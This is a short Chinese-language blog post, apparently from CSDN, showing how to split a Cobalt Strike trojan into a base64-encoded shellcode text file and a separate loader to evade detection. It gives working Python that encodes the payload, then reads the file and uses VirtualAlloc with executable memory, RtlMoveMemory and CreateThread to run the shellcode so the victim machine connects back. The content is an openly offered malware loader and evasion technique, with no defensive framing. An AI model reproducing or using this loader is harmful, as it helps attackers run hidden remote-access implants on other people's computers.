无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
日取其半万世不竭10 小时前
新服务器买完 24 小时内要做什么?安全加固清单
运维·服务器·安全
中科三方10 小时前
路由器DNS遭大规模篡改,对政企DNS安全防护有哪些启示?
安全·智能路由器
Bruce_Liuxiaowei10 小时前
2026年6月第2周网络安全形势周报
人工智能·安全·web安全·ai·大模型·智能体
阿昭L10 小时前
Windows堆dword shoot
windows·安全·漏洞·堆溢出
志栋智能10 小时前
超自动化安全的实施路径:从单点场景到体系化建设
运维·网络·安全·自动化
网络研究院10 小时前
端点安全完整指南
安全·端点·指南·网络研究观
xhtdj11 小时前
Build 2026:Azure API Management 推出统一模型 API 并新增 MCP 内容安全能力
人工智能·安全·azure
Splashtop高性能远程控制软件11 小时前
微软2026年6月补丁星期二技术分析:206个漏洞、3个已公开零日的分级修复方案
运维·安全·自动化·远程桌面·splashtop
一个扣子11 小时前
第四十篇:云端沙箱与检查点:自动化CI时如何保住安全底线、回滚无压力
安全·沙箱·企业级·回滚·claude code·检查点
2601_961963381 天前
技术解剖:哈希值、区块链与CA认证如何守护电子合同安全?
网络·人工智能·安全·区块链·智能合约·政务